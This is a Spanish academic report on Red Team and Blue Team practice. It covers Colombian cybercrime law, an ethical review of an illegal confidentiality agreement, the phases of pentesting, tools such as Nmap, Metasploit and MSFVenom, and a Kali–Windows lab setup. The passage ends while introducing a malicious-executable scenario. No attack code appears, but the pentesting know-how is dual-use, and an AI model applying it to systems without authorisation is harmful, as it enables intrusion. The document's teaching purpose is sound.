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RESUMEN

El informe técnico final aborda las estrategias de seguridad informatica desarrolladas en
relacion con las acciones sugeridas durante un seminario especializado sobre equipos
relacionados estratégicamente con la ciberseguridad, tales como el Red Team y el Blue
Team. Se comienza considerando los aspectos legales pertinentes, incluyendo el Cédigo
de Etica COPNIA vy la legislacion colombiana vigente. Durante el desarrollo del mismo se
llevé a cabo el andlisis detallado del caso de estudio centrado en la seguridad de la
empresa TheHackerHouse.

En este trabajo los lectores van a encontrar 4 fases: la primera fase aborda la identificacion
y descripcion del problema, junto con el establecimiento de la infraestructura requerida. La
segunda fase se centra en analizar la contratacion de personal para los equipos Red Team
y Blue Team de la empresa TheHackerHouse. La tercera fase se dedica a evaluar diversas
metodologias de pruebas de intrusion en seguridad informatica, utilizando herramientas
especializadas para investigar el sistema y detectar vulnerabilidades en la seguridad de la
organizacion. En la cuarta fase, se lleva a cabo un analisis exhaustivo de las
vulnerabilidades encontradas, seguido de la elaboracion de un plan de mejora para
fortalecer la seguridad de la empresa.

En conclusion, se destacan las recomendaciones derivadas del andlisis, resaltando que los
equipos Red Team y Blue Team son fundamentales para informar y respaldar las
decisiones de inversion en ciberseguridad dentro de una organizacioén. Estos equipos
proporcionan una guia clara y fundamentada para la alta gerencia en materia de seguridad
cibernética.

Palabras Clave: Red Team, Blue Team, Vulnerabilidad, Amenaza, Escaneo, IP, Etica
profesional, Politicas de Seguridad.
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GLOSARIO

Blue Team: equipo encargado de supervisar la seguridad informatica, identificar riesgos
y responder de manera reactiva ante ataques externos.

Red Team: grupo especializado en seguridad informatica que simula tacticas de
atacantes para descubrir debilidades en los sistemas de defensa.

Escaneo: proceso dentro de la segunda fase del Pentesting que sigue a la recopilacién
de informacidn, consistente en un analisis exhaustivo de vulnerabilidades.

Reconocimiento: etapa inicial del Pentesting donde se busca y recopila informacion
disponible en internet.

Framework: estructura o conjunto de herramientas, directrices y métodos recomendados
gue simplifican el proceso de desarrollo de software o la realizacion de tareas especificas
en el campo de la informatica.

Ciberseguridad: conjunto de medidas y practicas destinadas a proteger los activos y la
infraestructura tecnoldgica de una organizacion.

Ciberdelincuente: individuo que viola la ley mediante ataques informaticos o robo de
informacion.

Payload: parte de un ataque cibernético que realiza una accion perjudicial una vez que
ha infiltrado un sistema.

Pentesting: Método utilizado para analizar la seguridad de sistemas de computacion
mediante la realizacion de ataques simulados bajo condiciones controladas.

CVE: sistema estandar para identificar, nombrar y rastrear vulnerabilidades de seguridad
en software y hardware.

Exploit: técnica elaborada para explotar una vulnerabilidad concreta presente en un
sistema informético o una aplicacion.

Exploitdb: base de datos en linea que recopila informacion sobre exploits y
vulnerabilidades informéaticas.

Openvas: plataforma de exploracion de vulnerabilidades de cédigo abierto utilizada para
detectar fallos de seguridad en sistemas y redes.

Malware: software malicioso creado para extraer informacion o causar dafio en sistemas
informaticos.



Antivirus: software disefiado para proteger dispositivos contra amenazas informaticas,
incluyendo andlisis de dispositivos y deteccion de malware.

Cibercrimen: actividad ilegal que busca dafar infraestructuras de red o extraer
informacion sin autorizacion.

Ransomware: Tipo de programa dafino que codifica los archivos dentro del sistema de
una persona o entidad sin autorizacion, solicitando luego un pago de rescate,
comunmente en forma de criptomonedas, a cambio de proporcionar la clave requerida
para desencriptar los archivos.

SIEM: actia como una especie de "centro de mando” para la seguridad cibernética,
ayudando a proteger los activos digitales de una organizacién contra ataques y riesgos
potenciales.

Wireshark: software de codigo abierto utilizado para analizar y capturar paquetes de
datos en una red de datos.

XDR: es una solucion integral de seguridad cibernética que va mas alla de la deteccion
de amenazas para proporcionar una respuesta proactiva y coordinada frente a los
ataques.



INTRODUCCION

En el reciente seminario sobre equipos estratégicos de Red Team y Blue Team, se
exploraron diversos aspectos cruciales en el ambito de la ciberseguridad, sin adentrarse
en un lenguaje técnico excesivamente complejo. Se comenzé por establecer los conceptos
fundamentales de estos equipos de seguridad, destacando su papel en la proteccion de
infraestructuras digitales contra posibles amenazas y ataques cibernéticos. Este enfoque
permitié a los participantes comprender la importancia de una colaboracion efectiva entre
Red Team y Blue Team para garantizar la integridad y la seguridad de los sistemas
informaticos.

Una parte significativa del seminario se dedic6 al analisis de la legislacion relacionada con
delitos informaticos, resaltando la necesidad de actuar dentro de los limites éticos y legales
al llevar a cabo pruebas de intrusion y pentesting. Se enfatizé la importancia de conocer y
respetar las leyes y regulaciones pertinentes en el ambito de la ciberseguridad para evitar
posibles repercusiones legales.

Ademas, se exploraron herramientas y servicios utilizados en ciberseguridad, con especial
atencion en el ejercicio de pentesting y el uso de herramientas como MSFVenom en el
framework de Metasploit. Estas discusiones brindaron a los participantes una comprension
practica de cdmo se realizan las pruebas de intrusion y como se pueden identificar y mitigar
vulnerabilidades en una infraestructura de TI. Asimismo, se discutieron estrategias de
contencién basadas en el andlisis de riesgos y vulnerabilidades, destacando la importancia
de una gestion proactiva de la seguridad cibernética para garantizar la proteccion continua
de los sistemas digitales.
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1 OBJETIVOS

OBJETIVO GENERAL

Analizar y comprender las capacidades técnicas, legales y de gestion necesarias
para los equipos Blue Team y Red Team en el contexto de seguridad informatica,
con el fin de fortalecer la defensa y deteccion de amenazas, asi como mejorar la
respuesta estratégica ante incidentes de ciberseguridad.

OBJETIVOS ESPECIFICOS

e Comprender la ley relacionada con delitos informaticos y la importancia de
actuar de manera ética y legal en el desarrollo de actividades en donde se
debe salvaguardar la seguridad de la informacion.

e Lograr la identificacién de posibles amenazas, evaluacién de su impacto y
la implementacion de medidas preventivas y correctivas para mitigar
riesgos y fortalecer la seguridad de los sistemas.

e Demostrar la capacidad para formular estrategias efectivas de contencion,
basadas en el analisis de riesgos y vulnerabilidades en infraestructuras de
tecnologias de la informacion (TI)

12



2 DESARROLLO DEL INFORME

2.1. ETAPA 1-CONCEPTOS EQUIPOS DE SEGURIDAD
2.2. Analisis de la legislacion relacionada con delitos informaticos.

El andlisis de la legislacion relacionada con delitos informaticos es fundamental para
comprender, abordar, aplicar y adaptar las leyes existentes a los desafios legales
en el ambito de la seguridad. Un analisis detallado permite identificar las
responsabilidades legales de los actores involucrados, ademds, proporciona una
base para el desarrollar estrategias de cumplimiento, politicas de seguridad
cibernética y medidas de proteccion de datos que sean coherentes con el marco
legal existente.

Con lo anterior mencionado en Colombia existe la ley 1273 de 2009, “también
conocida como la Ley de Delitos Informaticos, es una ley colombiana que
establece medidas para prevenir y sancionar los delitos informaticos en el pais” *.
en donde se consignan unas series de medidas para prevenir y castigar los actos
ilicitos relacionados en cuanto al manejo que se le da a las tecnologias de la
informacion y las comunicaciones, constituyendo un marco legal que busca
combatir la delincuencia informética en Colombia.

Esta normativa define los delitos informaticos como aquellas acciones ilegales que
se llevan a cabo utilizando dispositivos electronicos como computadoras, Internet,
teléfonos moviles, entre otros.

En virtud de esta ley, se identifican una serie de conductas consideradas como
delitos informéticos, tales como la interceptacién no autorizada de datos, el acceso
indebido a los sistemas de informacion, el sabotaje de sistemas, la adulteracion de
documentos electrénicos y la difusion de programas maliciosos. De igual forma, esta
establece las penas correspondientes para aquellos que cometan delitos
informaticos, las cuales pueden incluir multas y prision.

Ahora bien, esta consta de una serie de articulos que seran explicados a
continuacion:

Articulo 269A: menciona las consecuencias legales por acceso no autorizado a un
sistema de informacion.

1 SIC.GOV.CO. Ley 1273 de 2009. [En linea]. [ Consultado 14 de abril del 2023].
Disponible en:
(https://www.sic.qgov.co/recursos user/documentos/normatividad/Ley 1273 2009.

pdf).
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Articulo 269B: penaliza la interferencia ilegal en sistemas informaticos o redes de
telecomunicaciones.

Articulo 269C: establece consecuencias legales para aquellos que intervengan
datos sin una autorizacion emitida por un juez.

Articulo 269D: menciona que quien, sin autorizacion, cause dafio o elimine datos
informaticos, enfrentara penas de prision y multas econdémicas.

Articulo 269E: instaura que aquel que, sin autorizacidon, esté involucrado en la
creacion, venta, distribucién o traslado de software dafino o programas informaticos
con efectos perjudiciales.

Articulo 269F: indica que el sin consentimiento, obtenga o manipule datos
personales para su beneficio o el de otros.

Articulo 269G: refiere lo que puede incurrir realizar acciones ilegales en el ambito
electrénico, como disefar, traficar o modificar paginas web sin autorizacion.

Articulo 269H: aumenta las penas por delitos informaticos si se cumplen ciertas
condiciones, como cometer el delito en redes estatales o financieras, ser servidor
publico y aprovechar la confianza depositada para revelar o perjudicar a otro, lo que
puede resultar en inhabilitacién profesional.

Articulo 269I: deja en claro que quien, utilizando medios informaticos o analogos,
evada las medidas de seguridad informatica y cometa el delito de hurto descrito en
el articulo 239, ser&a sancionado conforme al articulo 240 del mismo cédigo.

Articulo 269J: sanciona la accién de mover o desplazar activos de una persona
mediante manipulaciones informaticas, también sanciona la produccion o
facilitacion de programas informaticos para cometer este delito.

Penas y multas contempladas en cada uno de los articulos:
Prision: desde los 36 y 120 meses.

Multa econdémica: 100, 200, 1000 y 1500 salarios minimos legales mensuales
vigentes.

Por otro lado, la ley 1581 de 2012 es una normativa que regula el tratamiento de
los datos personales, asegurando el derecho constitucional de todas las personas
a estar informados, mantener al dia y corregir cualquier informacion recopilada
sobre ellos que se encuentre en repositorios de informacion. Por eso se menciona
gue esta “Complementa la regulacion vigente para la proteccion del derecho
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fundamental que tienen todas las personas naturales a autorizar la informacion
personal que es almacenada en bases de datos o archivos, asi como su posterior
actualizacion y rectificacion” 2.

También, detalla como las entidades publicas y privadas deben recolectar,
almacenar, utilizar y resguardar la informacion personal de los ciudadanos. Para
ello, se establecen principios, deberes y derechos que deben cumplir estas y ser
garantes de la seguridad y tratamiento adecuado de datos personales.

Ademas, la ley contempla sanciones para quienes incumplan con lo estipulado, tales
como multas que oscilan entre 2000 mil salarios minimos mensuales legales
vigentes, o cese de actividades por un término de 6 meses, o en su defecto el cierre
temporal o inmediato relacionado con las operaciones. Esto subraya la relevancia
de la Superintendencia de Industria y Comercio en la vigilancia que realiza para que
se dé el cumplimento de las disposiciones legales alli consignadas para la
proteccion de datos.

2.3. Analisis sobre el gjercicio de Pentesting.

El pentesting se refiere a una practica de seguridad informéatica en la que se simulan
ataques cibernéticos contra sistemas informaticos, redes o aplicaciones, con el fin
de evaluar su seguridad y descubrir posibles vulnerabilidades. Para VANEGAS,
Alfonso “el pentesting es una practica y/o metodologia realizada para descubrir
vulnerabilidades y/o fallos de seguridad en un sistema informatico, en una pagina
web, en seguridad fisica o cualquier otro entorno” 3.

Estas son las etapas proporcionan una guia general para llevar a cabo un pentesting
efectivo:

Reconocimiento:

e Escaneo de dominios/IPs/puertos/versiones/servicios

2 IMSALUD. (2019). ABC Ley 1581 de 2012 Proteccion de Datos Personales. [En
linea]. [ Consultado 17 de febrero del 2024]. Disponible en:
(https://www.imsalud.gov.co/web/sin-categoria/abc-ley-1581-de-2012-proteccion-
de-datos-personales/).

3 VANEGAS, Jairo. Pentesting, ¢Porque es importante para las empresas?. [En
linea}. [ Consultado 27 de marzo del 2024]. Disponible en:
(http://repository.unipiloto.edu.co/bitstream/handle/20.500.12277/6286/00005220.p
df?sequence=1).
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e Dorking (Busqueda Avanzada)

e Uso de herramientas automatizadas para obtener informacion de nuestro
objetivo

e Obtencion de metadatos

Footprinting: (rastreo de informacion), “es la forma de recopilar informacion,
comienza por determinar el objetivo, para luego averiguar informacion especifica
utilizando métodos no intrusivos™. En este sentido se refiere al proceso de
recopilacion de informacion sobre una entidad objetivo, como una empresa, red o
sistema, con el fin de obtener una comprensién detallada que pueda ser utilizada
para futuros ataques o evaluaciones de seguridad.

Este proceso suele llevarse a cabo de manera ética como parte de la fase de
reconocimiento en la prueba de penetracion. Algunas de las técnicas comunes
utilizadas en el footprinting incluyen:

e Escaneo de Redes y Dominios: Identificacién de direcciones IP y rangos de
IP. Descubrimiento de nombres de dominio asociados.

e Recoleccion de Informacion Puablica: Busqueda de informacion en fuentes
publicas, como sitios web, redes sociales, y registros publicos. Identificacion
de empleados, contactos, y detalles organizativos.

e Busqueda Avanzada (Dorking): Utilizaciébn de consultas avanzadas en
motores de busqueda para obtener informacién especifica.

e Escaneo de Puertos y Servicios: Identificacion de servicios y versiones en
ejecucion en los sistemas objetivo.

e Andlisis de Seguridad en Sitios Web: Evaluacién de la seguridad de los sitios
web asociados con el objetivo.

e Enumeracion de Subdominios: Descubrimiento de subdominios asociados
con la entidad objetivo.

e Uso de Herramientas Automatizadas: Empleo de herramientas
automatizadas para acelerar el proceso de recopilacion de informacion.

Etapa del Footprinting explicacién a mayor profundidad: no es una técnica de
ataque como tal, sino mas bien el paso previo a descubrir un posible punto de

4 TARQUI, Yessica. Footprinting. [En linea]. [ Consultado 27 de marzo del 2024].
Disponible en: (https://revistasbolivianas.umsa.bo/pdf/rits/n8/n8a18.pdf).
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explotacion.

Descubrimiento DNS. Recoger informacion acerca de servidores DNS,
direcciones de red.

Con el uso de la herramienta NMap, se recopila informacion sobre los hosts
de una red especifica, incluyendo los puertos que estan abiertos, cerrados o
filtrados en esos equipos. Esta herramienta es altamente versatil y completa,
lo que requiere un estudio minucioso para aprovechar al maximo todas sus
capacidades.

Aplicaciones open source:

TheHarvester: Utilidad de linea de comandos para recopilar informacion de
dominios, correos electrénicos y subdominios.

DNSdumpster: Extraccion de informacion de registros DNS.

Nmap: herramienta de cédigo abierto, efectiva y creada para realizar el
escaneo de redes y la identificacién de hosts.

Aplicaciones pagas:

2.4.

Metasploit Pro: es la version comercial de Metasploit, una plataforma de
pruebas de penetracion ampliamente utilizada. Proporciona una interfaz
gréfica de usuario (GUI), automatizacién avanzada y soporte técnico.

Burp Suite Professional: es integral para pruebas de seguridad de
aplicaciones web. La version profesional ofrece funcionalidades adicionales
como escaneo de vulnerabilidades, pruebas de seguridad automatizadas y
colaboracién en equipo.

Nessus Professional: es una herramienta especializada en la deteccion de
vulnerabilidades, la cual analiza y evalta posibles debilidades en sistemas y
redes. La version profesional ofrece funcionalidades avanzadas y un mayor
nivel de personalizacion.

Porque el footprinting es una de las etapas mas importantes dentro
del pentesting:

Pienso que es importante porque se necesita tener una base de donde empezar y
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en este caso significa tener claros los objetivos y socavar informacion de manera
legal sobre el posible objetivo para realizar el ejercicio de manera controlada y
contundente. también radica en su papel como fase fundamental de la evaluacion
de seguridad y preparacion contra posibles amenazas.
Dentro de sus aspectos importantes esta:

¢ Identificacién de Vulnerabilidades Iniciales

e Comprension del Entorno

¢ Planificacion de Ataques

e Conciencia de Seguridad

e Preparacion para Pruebas Eticas

e Deteccion Temprana de Amenazas

2.5. Explicacién de las herramientas utilizados en ciberseguridad.
Metasploit: es una plataforma de prueba de penetracion (pentesting) de codigo
abierto que proporciona herramientas y recursos para realizar evaluaciones de
seguridad en sistemas informéticos.

Metasploit ofrece un conjunto de exploits, cargas utiles, herramientas y modulo, se
emplea para llevar a cabo pruebas éticas de penetracion y para analizar la
posicion de seguridad de un sistema.

¢, Qué es un CVE y su estructura?

Hace referencia a las vulnerabilidades y las exposiciones comunes, siendo una
recopilacion de fallos de seguridad informatica que se encuentran disponibles para
el publico en general. Cuando se hace mencion de un CVE, se esta sefialando
una vulnerabilidad en particular que ha sido identificada y a la cual sele ha
asignado un numero de identificacién anico.

Estructura de un CVE: CVE-AAAA-NNNN:

AAAA: Ao en que se descubrio la vulnerabilidad.

NNNN: Numero secuencial Unico.

Ejemplo: CVE-2021-20568
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Exploit Database es un recurso en linea que recopila informacién sobre exploitsy
vulnerabilidades de seguridad. Sin embargo, es importante destacar que el usode
exploits para vulnerabilidades sin autorizacion esta en contra de la ley y de las
politicas éticas.

Los exploits listados en Exploit Database suelen estar vinculados a
vulnerabilidades especificas identificadas por nimeros CV.

En Exploit Database, puedes buscar exploits por su CVE especifico para obtener
informacion sobre cdmo se utilizan. Para ello, visita la pagina principal de Exploit
Database y utiliza la barra de busqueda. Ingresa el nimero CVE de la
vulnerabilidad que te interesa y revisa los resultados para obtener detalles sobreel
exploit correspondiente.

2.6. Evidencia de la implementacion del “banco de trabajo”.

Caracteristicas técnicas de Windows:
Memoria RAM: 4 GB

Procesador: Core i7

Disco Duro: 50 GB

Sistema Operativo: Windows 10 Pro

Caracteristicas técnicas de Kali Linux:
Memoria RAM: 3 GB

Procesador: Core i7

Disco Duro: 80 GB

Sistema Operativo: Kali GNU/ Linux Rolling

llustracion 1 Instalaciéon VirtualBox

@ a@o B8 068 cromon




Fuente: propia

llustraciéon 2 Sistemas instalados
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metasploitable3-workspace_win2k8_FASES -FASES-ANALISIS FORENCE - HEMIRFIGUEROA
| [ Guardada

B © coniendo
B Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0:
Controlador: SATA

[Uridad Gptica] Vaco

Puerto SATA 0 Kalidinux-2023-W 19-vir tualbox-amds+4.vdi (Normal, 80,09 GB)
{0 Audio
Controlador de anfitrién: ~ Windows DirectSound
Controlador: ICHACS7
= Red
Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador solo anfirién, <¥irtualBox Host-Only Ethernet Adapter £35)

(5 uss

Controlador LISB HCT
Filtros de dispositives: 0 {0 activo)
[C] carpetas compartidas

Ninguno

Descripcidn

Kali Rolling (2023-W13) x64
2023-05-07

Fuente: propia

llustracion 3 Instalacion Kali Linux

Tl Kol linux-2023- Amdb4-SEM ESPECIALIZADO - HEMIR FIGUEROA [Corriendo] - Oracle VM VirtualBox - [} X

Archivo Méquina _ Ver Ayuda

Entrada _ Dispositivos

KINTIREINUK

"the quieter you become, the more you are able to hear"

& O ® @) cr omecia
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Fuente: propia
llustracién 4 Instalacién de Windows 10

[ Windows 102022 | Versi6n 22H2-SEM ESP [Corriendo] - Oracle VM VirtuzlBox - X
Archivo  Maquina Ver Entrads Dispositvos  Ayuda

[ sistema - o x

A B 5 panelde control > Sistemay seguridad > Sistema v|®| | BuscarenclPaneldecontiol 0

Ventana principal del Panel de A o
control Ver informacién bésica acerca del equipo

Edicion de Windows.

& Administrador de dispositivos.

© Configuracion de Acceso Windows 10 Pro -- .
remoto © Microsoft Corporation. Todos W d ‘] O
mm VVINAOWS

&) Proteccion del sistema

Google Chrome

& Configuracién avanzada del
sistema Sistema

Procesador Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz 2.90 GHz
Memoria instalada (RAM): 4,00 GB
Tipo de sistema: Sistema operative de 64 bits, procesador x64

Lapizy entrada tactil: La entrada tactil o manuscrita no esta disponible para esta pantalla

Configuracién de nombre, dominio y grupe de trabajo del equipe
Nombre de equipe: SEM_ESP_W10 G Cambiar

Nombre completo de  SEM_ESP_W1D configuracion
cquipo:

Descripeién del equipo:

Grupo de trabajo: WORKGROUP

Activacién de Windows

Conéctate a Intemet para activar Windows. Lea los Termines de licencia del software de Microsoft

Id. del producto: 00330-80000-00000-AAT24

Espafiol (Espafia, internacional)

Seguridad y mantenimiento .
Teclado Latinoamérica

Para cambiar entre métodos de entrada, presiona

Ia tecla Windows+Es

12742.m.
@) B B

Fuente: propia

Se procede a ingresar a la consola de comandos y escribimos IPCONFIG para asi
obtener la IP de la maquina virtual de Windows 10.

IP:192.168.1.3
Se realiza ping 192.168.1.3 (IP de Maquina Kali Linux)

llustracion 5 Direccion IPv4 Windows 10 y Pin a Kali Linux
|

@ Simbolo del sistema - X A
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Fuente propia
Se procede a ingresar a la consola de comandos y escribimos IFCONFIG para asi
obtener la IP de la maquina virtual de Kali Linux.

llustracion 6 Direccion IPv4 Kali Linux y Pin a Windows

Fuente: propia

Para ver si existe comunicacion entre ambas maquinas virtuales configuramos la
red de ambas en adaptador solo anfitrion. Configurado este procedemos a ingresar
en cada una de las maquinas y realizamos ping a las direcciones IP de cada una
de ellas.

llustracion 7 configuracion de red Adaptador solo anfitrion con red
192.168.1.1/24
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Fuente propia
Caracteristicas técnicas de Windows:

Memoria RAM: 4 GB
Procesador: Core i57

Disco Duro: 50 GB

Sistema Operativo: Windows 10 Pro

Caracteristicas técnicas de Kali Linux:

Memoria RAM: 3GB

Procesador: Core i7

Disco Duro: 80 GB

Sistema Operativo: Kali GNU/ Linux Rolling

llustracién 8 montaje del banco de trabajo

[ﬂ Windows 10 2022 | Versién 22H2-SEM ESP [Corriendo] - Oracle VM VirtualBox
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Tipo de sistema PC basado en x64
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Nirectorio del sistema CAWindows\svstem3?
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23

Elemento T ialor \‘ m PO

About the Xfce Desktop Environment

Debian  Copyright

kali
Kali GNU/Linux Rolling

6.1.0-kali7-amd64

Intel* Core™ i7-7500U CPU @ 2.70GHz
2.9GiB

lvmpipe (LLVM 15.0.6, 256 bits) (2.9 GiB)

%41 p.m.
1510272024 B

) EsP



3. ETAPA 2 - ACTUACION ETICA Y LEGAL.

3.1. Analisis de los anexos Escenario 2 y Acuerdo desde el punto de vista
legal y no ético.

El acuerdo de confidencialidad establece una serie de consideraciones y clausulas
entre las partes involucradas, se reconoce que la informacion compartida es
sensible y restringida en su divulgacién, especialmente relacionada con
procedimientos ilegales dentro de la empresa. Por ello, se analizaran cada clausula
para identificar parrafos ilegales.

Primera clausula: en esta se establece que la parte receptora no puede difundir
informacion sobre procedimientos ilegales en HackerHouse, lo que se torna ilegal,
porque estan solicitando a la parte receptora que participen en el encubrimiento de
actividades ilegales, violando asi los principios legales de responsabilidad vy
transparencia. Ademas, podria exponer a los firmantes a responsabilidad legal por
participar en un acuerdo que fomenta la ocultacion de delitos, es por ello cualquier
acuerdo que requiera tal accion debe ser nulo y no vinculante.

segunda clausula: dentro de esta secciébn se menciona una amplia gama de
informacion que se consideraria confidencial, no obstante, la inclusion de términos
como "datos de chuzadas, interceptacion ilegal de informacién, accesos abusivos a
sistemas informaticos" es altamente preocupante al estar alentando el ocultamiento,
admision o consentimiento implicito de actividades criminales, ahora bien, solicitar
a los firmantes que no divulguen estas actividades va en contra de la ley e implicar
complicidad en delitos.

Cuarta clausula: dentro del acuerdo de confidencialidad, los parrafos que podrian
ser considerados ilegales son el 3y 6, que prohiben a la parte receptora denunciar
actividades sospechosas de espionaje o apropiacion ilegal de informacién ante las
autoridades, sin el consentimiento previo de la otra parte. Estas clausulas
contravienen los principios legales de colaboracion con la justicia y podrian ser
interpretadas como facilitadoras de actividades delictivas al obstruir la rendicion de
cuentas o violacion del deber legal de informar sobre actividades ilicitas.

Octava clausula: este acuerdo de confidencialidad presenta una clausula que
podria ser considerada ilegal, ya que absuelve a HackerHouse de cualquier
responsabilidad legal y penal si se descubre informacion ilegal o confidencial en
posesion del receptor. Tal disposicidn podria interpretarse como un intento de eludir
las consecuencias legales de las acciones de la empresa, lo cual contraviene los
principios legales de responsabilidad en casos de incumplimiento de acuerdos o
actividades ilicitas. Ademas, esta clausula podria ser vista como un intento de
entorpecer la justicia al trasladar la responsabilidad del receptor hacia un abogado
privado en lugar de permitir que las autoridades competentes investiguen y tomen
medidas segun la ley.
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3.2. Analisis de los anexos, en relacién con la vulneracion de la ley 1273
argumentando cualquier proceso ilegal.

HackerHouse, reconocida como una de las principales empresas a nivel global en
el campo de la ciberseguridad, esta en proceso de vincular personal profesional
para sus equipos de Red Team y Blue Team. Sin embargo, surge una preocupacion
respecto al acuerdo de confidencialidad debido a su origen y falta de revision por
parte del departamento de Recursos Humanos.

Al analizar detenidamente su contenido, se destacan disposiciones que podrian
implicar la participacion procesos ilegales, especialmente en lo que respecta a la
seguridad informética y la proteccion de datos. En este sentido, es fundamental
examinar de manera precisa como el documento podria estar en conflicto con la
legislacion colombiana en materia de ciberseguridad, identificando posibles
violaciones y haciendo referencia a los articulos correspondientes de la ley.

En consiguiente los articulos que posiblemente se estén violentado en las clausulas
podrian ser los siguientes.

Primera. Objeto: 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO,
implica ingresar de manera no autorizada a un sistema informatico con la intencion
de realizar acciones que van desde la manipulacién de datos hasta la interrupcion
del servicio. En ese sentido:

El que, sin autorizacion o por fuera de lo acordado, acceda en todo o en parte a un
sistema informatico protegido o no con una medida de seguridad, o0 se mantenga
dentro del mismo en contra de la voluntad de quien tenga el legitimo derecho a
excluirlo, incurrira en pena de prisién de (48) y (96) meses y multa de 100 a 1000
salarios minimos legales mensuales vigentes” °.

La clausula en cuestién impide la divulgacion de informacion relevante sobre el
sistema informatico, esto podria interferir con la capacidad de las autoridades para
investigar y perseguir delitos informaticos, lo cual podria considerarse un obstaculo
al acceso legitimo a la informacion.

Segunda. Definicion de informacién confidencial: 269C. Interceptacion de datos
informaticos. De acuerdo con lo que se establece en este articulo, es evidente que
la clausula del acuerdo puede estar violando el mismo. Segun lo establecido por el
Mintic “El que, sin orden judicial previa intercepte datos informaticos en su origen,
destino o en el interior de un sistema informatico, o las emisiones electromagnéticas
provenientes de un sistema informatico que los transporte incurrird en pena de

5 MINTIC. Ley 1273 de 2009. [En linea]. [ Consultado 21 de febrero del 2024].
Disponible en:
(https://normograma.mintic.gov.co/mintic/docs/pdf/ley 1273 2009.pdf).
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prision de treinta y seis (36) a setenta y dos (72) meses” 6. Esto sucede porque al
tomar acciones como la obtencion ilegal de datos y el uso indebido de sistemas
informaticos como informacion confidencial, la clausula podria ser interpretada
como una justificacién implicita para llevar a cabo estas acciones, lo cual esta
directamente en contra de lo estipulado por la ley colombiana.

Cuarta. Obligaciones de la parte receptora: 269F. VIOLACION DE DATOS
PERSONALES, se refiere a una situaciéon en la que los datos personales o
confidenciales de un individuo son obtenidos, compartidos, cambiados o utilizados
sin autorizacion o de manera ilegal por ello se dice que:

El que, sin estar facultado para ello, con provecho propio o de un tercero, obtenga,
compile, sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifique, emplee cédigos personales, datos personales contenidos en ficheros,
archivos, bases de datos o medios semejantes, incurrird en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes” .

por lo tanto, si la informacion confidencial protegida incluye datos personales y su
divulgacion no cuenta con el consentimiento requerido por la ley.

Octava. Solucién de controversias: 269B. OBSTACULIZACION ILEGITIMA DE
SISTEMA INFORMATICO O RED DE TELECOMUNICACION, se trata de
actividades planeadas o realizadas con la intencion de entorpecer, interrumpir o
detener el funcionamiento adecuado de un sistema informéatico o una red de
comunicaciones sin tener la autorizacion legal para hacerlo por lo anterior:

El que, sin estar facultado para ello, impida u obstaculice el funcionamiento o el acceso
normal a un sistema informatico, a los datos informaticos alli contenidos, o a una red
de telecomunicaciones, incurrira en pena de prision de cuarenta y ocho (48) a noventa
y seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes, siempre que la conducta no constituya delito sancionado con una pena

mayor” 8.

Con lo anterior mencionado violenta este articulo porque el receptor de informacién
ilegal o confidencial podria estar obstaculizando el funcionamiento normal del
sistema informatico al retener dicha intentar desvincular a HackerHouse de
cualquier responsabilidad legal o penal en caso de que se descubra que se ha
cometido alguna accién que pueda ser considerada como obstruccion ilegitima de
sistemas informaticos.

6 Ibit., p.2
" Ibit., p.2
8 Ibit., p.2
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3.3. Analisis del acuerdo de confidencialidad, teniendo presente en cuenta
la revision desde el punto de vista legal y ético.

En este caso especifico representa faltas a las leyes colombianas y ética profesional
con el acuerdo de confidencialidad encontrado como ejemplo para mi seria
practicamente imposible aceptar dichos sueldos puesto que el cédigo de ética
exactamente en la ley 842 de 2003 articulo 53 literal e menciona que, “incurrir en
algun delito que atente contra sus clientes, colegas o autoridades de la Republica,
siempre y cuando la conducta punible comprenda el ejercicio de la ingenieria o de
alguna de sus profesiones auxiliares™

En situaciones éticas, es fundamental que siempre los profesionales sigan los
codigos éticos y las leyes aplicables en su pais. al descubres procesos ilegales en
el acuerdo de confidencialidad de la organizacion HackerHouse, es importante
considerar las posibles implicaciones éticas y legales antes de aceptar el contrato y
acuerdo de confidencialidad.

3.4. Analisis de casos tipo Cibercrimen desde su posicién teniendo en
cuenta los aspectos legales y éticos.

Una situacion particular y muy conocido en Colombia fue el ataque cibernético a la
plataforma digital del estado Colombia Compra eficiente. La cual es atacada por
denegacion de servicio durante 34 horas del dia 2 y 3 de mayo de 2023. Generado
todo un caos porque es una Entidad descentralizada de la rama ejecutiva del orden
nacional. Es una plataforma que internamente se conoce mas como SECOP I,
donde las empresas del estado hacen sus compras y donde en el afio 2022 se
generaron mas de 1,2 millones de contratos.

En términos legales, es fundamental considerar la normativa actual para
comprender las graves infracciones que un profesional de la ingenieria,
particularmente a alguien que tenga estudios de especializacién en seguridad
informatica.

El Codigo de Etica para el ejercicio de la Ingenieria y profesiones relacionadas, asi
como sus auxiliares, detalla las faltas mas graves en el articulo 53 de la Ley 842
de 2003.

9 COPNIA. Codigo de Etica Copnia. [En linea]. [ Consultado 21 de febrero del 2024].
Disponible en: (https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-
de-2003).
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4.1.

4.2.

b)

4. ETAPA 3 EJECUCION PRUEBAS DE INTRUSION.

Herramientas software - anexo 4 — escenario 3 enfocado a Redteam.
Virtualbox 7.0: Maquina virtual.

Kali Linux: Kali Rolling (2024.1) x64 2024-02-25 (Maquina Virtual y Maquina
atacante — IP 192.168.100.171)

Windows 10 x64: Version 10.0.19045 (Maquina Fisica y maquina objetivo — IP
192.168.100.50)

Metasplotable: proporciona un entorno de laboratorio controlado y seguro donde
los estudiantes pueden practicar y experimentar con técnicas de penetracion y
explotacion en un ambiente ético y educativo. Utilizando Metasplotable en
conjuncién con herramientas como MSFVenom

MSFVenom: permite a los profesionales de seguridad informatica generar
payloads maliciosos de manera eficiente y personalizada para su uso en pruebas
de intrusion y evaluaciones de seguridad.

Liste y describa los datos e informacion del anexo 4 — escenario 3

Informacién del usuario: Obtener la informacion del administrador de la
computadora afectada, que mediante un whatsapp web un compafiero de trabajo
le envié un archivo con el nombre PoC1117498564.exe el cual procedié a
descargar y a ejecutar, ayudo cédmo se produjo la vulneracion y los vectores de
ataque utilizados.

Informacién computadora afectada: Sistema operativo S.O Windows 10 X64,
sistemas de seguridad y nombre del archivo ayudaron a determinar el fallo de
